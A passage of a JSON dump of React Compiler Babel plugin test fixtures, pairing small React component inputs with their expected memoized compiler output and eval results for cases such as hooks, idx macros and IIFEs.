    "content": "function Component(props) {\n  const user =\n    useFragment(\n      graphql`\n        fragment F on T {\n          id\n        }\n      `,\n      props.user\n    ) ?? {};\n  return user.name;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useNoAlias} from 'shared-runtime';\n\nfunction Component(props) {\n  const item = {a: props.a};\n  const x = useNoAlias(item, () => {\n    console.log(props);\n  }, [props.a]);\n  return [x, item];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {id: 42}}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useNoAlias } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.a) {\n    t0 = { a: props.a };\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const item = t0;\n  const x = useNoAlias(item, () => {\n    console.log(props);\n  }, [props.a]);\n  let t1;\n  if ($[2] !== item || $[3] !== x) {\n    t1 = [x, item];\n    $[2] = item;\n    $[3] = x;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: { id: 42 } }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},{\"a\":{\"id\":42}}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.js",
    "content": "import {useNoAlias} from 'shared-runtime';\n\nfunction Component(props) {\n  const item = {a: props.a};\n  const x = useNoAlias(item, () => {\n    console.log(props);\n  }, [props.a]);\n  return [x, item];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {id: 42}}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-property-load-local.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo() {}\n\nfunction Foo() {\n  let name = useFoo.name;\n  console.log(name);\n  return name;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nfunction useFoo() {}\n\nfunction Foo() {\n  const name = useFoo.name;\n  console.log(name);\n  return name;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"useFoo\"\nlogs: ['useFoo']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-property-load-local.js",
    "content": "function useFoo() {}\n\nfunction Foo() {\n  let name = useFoo.name;\n  console.log(name);\n  return name;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-ref-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef();\n  useFoo(() => {\n    ref.current = 42;\n  });\n}\n\nfunction useFoo(x) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useRef } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  const ref = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      ref.current = 42;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  useFoo(t0);\n}\n\nfunction useFoo(x) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-ref-callback.js",
    "content": "import {useEffect, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef();\n  useFoo(() => {\n    ref.current = 42;\n  });\n}\n\nfunction useFoo(x) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-freeze-arguments.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const a = [];\n  useFreeze(a); // should freeze\n  useFreeze(a); // should be readonly\n  call(a); // should be readonly\n  return a;\n}\n\nfunction useFreeze(x) {}\nfunction call(x) {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const a = t0;\n  useFreeze(a);\n  useFreeze(a);\n  call(a);\n  return a;\n}\n\nfunction useFreeze(x) {}\nfunction call(x) {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-freeze-arguments.js",
    "content": "function Component() {\n  const a = [];\n  useFreeze(a); // should freeze\n  useFreeze(a); // should be readonly\n  call(a); // should be readonly\n  return a;\n}\n\nfunction useFreeze(x) {}\nfunction call(x) {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-freeze-possibly-mutable-arguments.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const cond = props.cond;\n  const x = props.x;\n  let a;\n  if (cond) {\n    a = x;\n  } else {\n    a = [];\n  }\n  useFreeze(a); // should freeze, value *may* be mutable\n  useFreeze(a); // should be readonly\n  call(a); // should be readonly\n  return a;\n}\n\nfunction useFreeze(x) {}\nfunction call(x) {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  const cond = props.cond;\n  const x = props.x;\n  let a;\n  if (cond) {\n    a = x;\n  } else {\n    let t0;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = [];\n      $[0] = t0;\n    } else {\n      t0 = $[0];\n    }\n    a = t0;\n  }\n\n  useFreeze(a);\n  useFreeze(a);\n  call(a);\n  return a;\n}\n\nfunction useFreeze(x) {}\nfunction call(x) {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-freeze-possibly-mutable-arguments.js",
    "content": "function Component(props) {\n  const cond = props.cond;\n  const x = props.x;\n  let a;\n  if (cond) {\n    a = x;\n  } else {\n    a = [];\n  }\n  useFreeze(a); // should freeze, value *may* be mutable\n  useFreeze(a); // should be readonly\n  call(a); // should be readonly\n  return a;\n}\n\nfunction useFreeze(x) {}\nfunction call(x) {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-with-React-namespace.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const [x, setX] = React.useState(1);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component() {\n  const [x] = React.useState(1);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-with-React-namespace.js",
    "content": "function Component() {\n  const [x, setX] = React.useState(1);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining-wildcard.expect.md",
    "content": "\n## Input\n\n```javascript\n// @customMacros:\"idx.*.b\"\n\nfunction Component(props) {\n  // outlined\n  const groupName1 = idx(props, _ => _.group.label);\n  // outlined\n  const groupName2 = idx.a(props, _ => _.group.label);\n  // not outlined\n  const groupName3 = idx.a.b(props, _ => _.group.label);\n  // not outlined\n  const groupName4 = idx.hello_world.b(props, _ => _.group.label);\n  // outlined\n  const groupName5 = idx.hello_world.b.c(props, _ => _.group.label);\n  return (\n    <div>\n      {groupName1}\n      {groupName2}\n      {groupName3}\n      {groupName4}\n      {groupName5}\n    </div>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @customMacros:\"idx.*.b\"\n\nfunction Component(props) {\n  const $ = _c(16);\n  let t0;\n  if ($[0] !== props) {\n    t0 = idx(props, (_) => _.group.label);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const groupName1 = t0;\n  let t1;\n  if ($[2] !== props) {\n    t1 = idx.a(props, (__0) => __0.group.label);\n    $[2] = props;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const groupName2 = t1;\n  let t2;\n  if ($[4] !== props) {\n    t2 = idx.a.b(props, (__1) => __1.group.label);\n    $[4] = props;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  const groupName3 = t2;\n  let t3;\n  if ($[6] !== props) {\n    t3 = idx.hello_world.b(props, (__2) => __2.group.label);\n    $[6] = props;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  const groupName4 = t3;\n  let t4;\n  if ($[8] !== props) {\n    t4 = idx.hello_world.b.c(props, (__3) => __3.group.label);\n    $[8] = props;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  const groupName5 = t4;\n  let t5;\n  if (\n    $[10] !== groupName1 ||\n    $[11] !== groupName2 ||\n    $[12] !== groupName3 ||\n    $[13] !== groupName4 ||\n    $[14] !== groupName5\n  ) {\n    t5 = (\n      <div>\n        {groupName1}\n        {groupName2}\n        {groupName3}\n        {groupName4}\n        {groupName5}\n      </div>\n    );\n    $[10] = groupName1;\n    $[11] = groupName2;\n    $[12] = groupName3;\n    $[13] = groupName4;\n    $[14] = groupName5;\n    $[15] = t5;\n  } else {\n    t5 = $[15];\n  }\n  return t5;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining-wildcard.js",
    "content": "// @customMacros:\"idx.*.b\"\n\nfunction Component(props) {\n  // outlined\n  const groupName1 = idx(props, _ => _.group.label);\n  // outlined\n  const groupName2 = idx.a(props, _ => _.group.label);\n  // not outlined\n  const groupName3 = idx.a.b(props, _ => _.group.label);\n  // not outlined\n  const groupName4 = idx.hello_world.b(props, _ => _.group.label);\n  // outlined\n  const groupName5 = idx.hello_world.b.c(props, _ => _.group.label);\n  return (\n    <div>\n      {groupName1}\n      {groupName2}\n      {groupName3}\n      {groupName4}\n      {groupName5}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining.expect.md",
    "content": "\n## Input\n\n```javascript\n// @customMacros:\"idx.a\"\n\nfunction Component(props) {\n  // outlined\n  const groupName1 = idx(props, _ => _.group.label);\n  // not outlined\n  const groupName2 = idx.a(props, _ => _.group.label);\n  // outlined\n  const groupName3 = idx.a.b(props, _ => _.group.label);\n  return (\n    <div>\n      {groupName1}\n      {groupName2}\n      {groupName3}\n    </div>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @customMacros:\"idx.a\"\n\nfunction Component(props) {\n  const $ = _c(10);\n  let t0;\n  if ($[0] !== props) {\n    t0 = idx(props, (_) => _.group.label);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const groupName1 = t0;\n  let t1;\n  if ($[2] !== props) {\n    t1 = idx.a(props, (__0) => __0.group.label);\n    $[2] = props;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const groupName2 = t1;\n  let t2;\n  if ($[4] !== props) {\n    t2 = idx.a.b(props, (__1) => __1.group.label);\n    $[4] = props;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  const groupName3 = t2;\n  let t3;\n  if ($[6] !== groupName1 || $[7] !== groupName2 || $[8] !== groupName3) {\n    t3 = (\n      <div>\n        {groupName1}\n        {groupName2}\n        {groupName3}\n      </div>\n    );\n    $[6] = groupName1;\n    $[7] = groupName2;\n    $[8] = groupName3;\n    $[9] = t3;\n  } else {\n    t3 = $[9];\n  }\n  return t3;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining.js",
    "content": "// @customMacros:\"idx.a\"\n\nfunction Component(props) {\n  // outlined\n  const groupName1 = idx(props, _ => _.group.label);\n  // not outlined\n  const groupName2 = idx.a(props, _ => _.group.label);\n  // outlined\n  const groupName3 = idx.a.b(props, _ => _.group.label);\n  return (\n    <div>\n      {groupName1}\n      {groupName2}\n      {groupName3}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-no-outlining.expect.md",
    "content": "\n## Input\n\n```javascript\n// @customMacros:\"idx\"\nimport idx from 'idx';\n\nfunction Component(props) {\n  // the lambda should not be outlined\n  const groupName = idx(props, _ => _.group.label);\n  return <div>{groupName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @customMacros:\"idx\"\n\nfunction Component(props) {\n  var _ref2;\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props) {\n    var _ref;\n    t0 =\n      (_ref = props) != null\n        ? (_ref = _ref.group) != null\n          ? _ref.label\n          : _ref\n        : _ref;\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const groupName = t0;\n  let t1;\n  if ($[2] !== groupName) {\n    t1 = <div>{groupName}</div>;\n    $[2] = groupName;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-no-outlining.js",
    "content": "// @customMacros:\"idx\"\nimport idx from 'idx';\n\nfunction Component(props) {\n  // the lambda should not be outlined\n  const groupName = idx(props, _ => _.group.label);\n  return <div>{groupName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-inner-interface-types.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  type X = number;\n  interface Bar {\n    baz: number;\n  }\n  return 0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Foo() {\n  return 0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 0"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-inner-interface-types.ts",
    "content": "function Foo() {\n  type X = number;\n  interface Bar {\n    baz: number;\n  }\n  return 0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.expect.md",
    "content": "\n## Input\n\n```javascript\n// @ignoreUseNoForget\nfunction Component(prop) {\n  'use no forget';\n  const result = prop.x.toFixed();\n  return <div>{result}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @ignoreUseNoForget\nfunction Component(prop) {\n  \"use no forget\";\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== prop.x) {\n    t0 = prop.x.toFixed();\n    $[0] = prop.x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const result = t0;\n  let t1;\n  if ($[2] !== result) {\n    t1 = <div>{result}</div>;\n    $[2] = result;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>1</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.js",
    "content": "// @ignoreUseNoForget\nfunction Component(prop) {\n  'use no forget';\n  const result = prop.x.toFixed();\n  return <div>{result}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-inline-ternary.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = props.foo\n    ? 1\n    : (() => {\n        throw new Error('Did not receive 1');\n      })();\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: true}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  props.foo ? 1 : _temp();\n  return items;\n}\nfunction _temp() {\n  throw new Error(\"Did not receive 1\");\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: true }],\n};\n\n```\n      \n### Eval output\n(kind: exception) items is not defined"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-inline-ternary.js",
    "content": "function Component(props) {\n  const x = props.foo\n    ? 1\n    : (() => {\n        throw new Error('Did not receive 1');\n      })();\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = (() => {\n    if (props.cond) {\n      return [];\n    } else {\n      return null;\n    }\n  })();\n  items?.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let items;\n  if ($[0] !== props.a || $[1] !== props.cond) {\n    let t0;\n    if (props.cond) {\n      t0 = [];\n    } else {\n      t0 = null;\n    }\n    items = t0;\n\n    items?.push(props.a);\n    $[0] = props.a;\n    $[1] = props.cond;\n    $[2] = items;\n  } else {\n    items = $[2];\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: {} }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.js",
    "content": "function Component(props) {\n  const items = (() => {\n    if (props.cond) {\n      return [];\n    } else {\n      return null;\n    }\n  })();\n  items?.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = (() => {\n    return [];\n  })();\n  items.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let items;\n  if ($[0] !== props.a) {\n    items = [];\n\n    items.push(props.a);\n    $[0] = props.a;\n    $[1] = items;\n  } else {\n    items = $[1];\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: {} }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.js",
    "content": "function Component(props) {\n  const items = (() => {\n    return [];\n  })();\n  items.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/immutable-hooks.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact true\nfunction Component(props) {\n  const x = {};\n  // In enableAssumeHooksFollowRulesOfReact mode hooks freeze their inputs and return frozen values\n  const y = useFoo(x);\n  // Thus both x and y are frozen here, and x can be independently memoized\n  bar(x, y);\n  return [x, y];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableAssumeHooksFollowRulesOfReact true\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n\n  const y = useFoo(x);\n\n  bar(x, y);\n  let t1;\n  if ($[1] !== y) {\n    t1 = [x, y];\n    $[1] = y;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/immutable-hooks.js",
    "content": "// @enableAssumeHooksFollowRulesOfReact true\nfunction Component(props) {\n  const x = {};\n  // In enableAssumeHooksFollowRulesOfReact mode hooks freeze their inputs and return frozen values\n  const y = useFoo(x);\n  // Thus both x and y are frozen here, and x can be independently memoized\n  bar(x, y);\n  return [x, y];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/import-as-local.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  useEffect,\n  useRef,\n  // @ts-expect-error\n  experimental_useEffectEvent as useEffectEvent,\n} from 'react';\n\nlet id = 0;\nfunction uniqueId() {\n  'use no memo';\n  return id++;\n}\n\nexport function useCustomHook(src: string): void {\n  const uidRef = useRef(uniqueId());\n  const destroyed = useRef(false);\n  const getItem = (srcName, uid) => {\n    return {srcName, uid};\n  };\n\n  const getItemEvent = useEffectEvent(() => {\n    if (destroyed.current) return;\n\n    getItem(src, uidRef.current);\n  });\n\n  useEffect(() => {\n    destroyed.current = false;\n    getItemEvent();\n  }, []);\n}\n\nfunction Component() {\n  useCustomHook('hello');\n  return <div>Hello</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  isComponent: true,\n  params: [{x: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport {\n  useEffect,\n  useRef,\n  // @ts-expect-error\n  experimental_useEffectEvent as useEffectEvent,\n} from \"react\";\n\nlet id = 0;\nfunction uniqueId() {\n  \"use no memo\";\n  return id++;\n}\n\nexport function useCustomHook(src) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = uniqueId();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const uidRef = useRef(t0);\n  const destroyed = useRef(false);\n  const getItem = _temp;\n  let t1;\n  if ($[1] !== src) {\n    t1 = () => {\n      if (destroyed.current) {\n        return;\n      }\n\n      getItem(src, uidRef.current);\n    };\n    $[1] = src;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const getItemEvent = useEffectEvent(t1);\n  let t2;\n  if ($[3] !== getItemEvent) {\n    t2 = () => {\n      destroyed.current = false;\n      getItemEvent();\n    };\n    $[3] = getItemEvent;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  let t3;\n  if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = [];\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  useEffect(t2, t3);\n}\nfunction _temp(srcName, uid) {\n  return { srcName, uid };\n}\n\nfunction Component() {\n  const $ = _c(1);\n  useCustomHook(\"hello\");\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>Hello</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  isComponent: true,\n  params: [{ x: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Hello</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/import-as-local.tsx",
    "content": "import {\n  useEffect,\n  useRef,\n  // @ts-expect-error\n  experimental_useEffectEvent as useEffectEvent,\n} from 'react';\n\nlet id = 0;\nfunction uniqueId() {\n  'use no memo';\n  return id++;\n}\n\nexport function useCustomHook(src: string): void {\n  const uidRef = useRef(uniqueId());\n  const destroyed = useRef(false);\n  const getItem = (srcName, uid) => {\n    return {srcName, uid};\n  };\n\n  const getItemEvent = useEffectEvent(() => {\n    if (destroyed.current) return;\n\n    getItem(src, uidRef.current);\n  });\n\n  useEffect(() => {\n    destroyed.current = false;\n    getItemEvent();\n  }, []);\n}\n\nfunction Component() {\n  useCustomHook('hello');\n  return <div>Hello</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  isComponent: true,\n  params: [{x: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-class.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const env = useRelayEnvironment();\n  // Note: this is a class has no mutable methods, ie it always treats `this` as readonly\n  const mutator = new Mutator(env);\n\n  useOtherHook();\n\n  // `x` should be independently memoizeable, since foo(x, mutator) cannot mutate\n  // the mutator.\n  const x = {};\n  foo(x, mutator);\n  return x;\n}\n\nclass Mutator {}\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const env = useRelayEnvironment();\n\n  const mutator = new Mutator(env);\n\n  useOtherHook();\n\n  const x = {};\n  foo(x, mutator);\n  return x;\n}\n\nclass Mutator {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-class.js",
    "content": "function Component(props) {\n  const env = useRelayEnvironment();\n  // Note: this is a class has no mutable methods, ie it always treats `this` as readonly\n  const mutator = new Mutator(env);\n\n  useOtherHook();\n\n  // `x` should be independently memoizeable, since foo(x, mutator) cannot mutate\n  // the mutator.\n  const x = {};\n  foo(x, mutator);\n  return x;\n}\n\nclass Mutator {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const [value, setValue] = useState(null);\n  // NOTE: this lambda does not capture any mutable values (only the state setter)\n  // and thus should be treated as readonly\n  const onChange = e => setValue(value => value + e.target.value);\n\n  useOtherHook();\n\n  // x should be independently memoizeable, since foo(x, onChange) cannot modify onChange\n  const x = {};\n  foo(x, onChange);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const [, setValue] = useState(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (e) => setValue((value_0) => value_0 + e.target.value);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n\n  useOtherHook();\n  let x;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = {};\n    foo(x, onChange);\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.js",
    "content": "function Component(props) {\n  const [value, setValue] = useState(null);\n  // NOTE: this lambda does not capture any mutable values (only the state setter)\n  // and thus should be treated as readonly\n  const onChange = e => setValue(value => value + e.target.value);\n\n  useOtherHook();\n\n  // x should be independently memoizeable, since foo(x, onChange) cannot modify onChange\n  const x = {};\n  foo(x, onChange);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.expect.md",
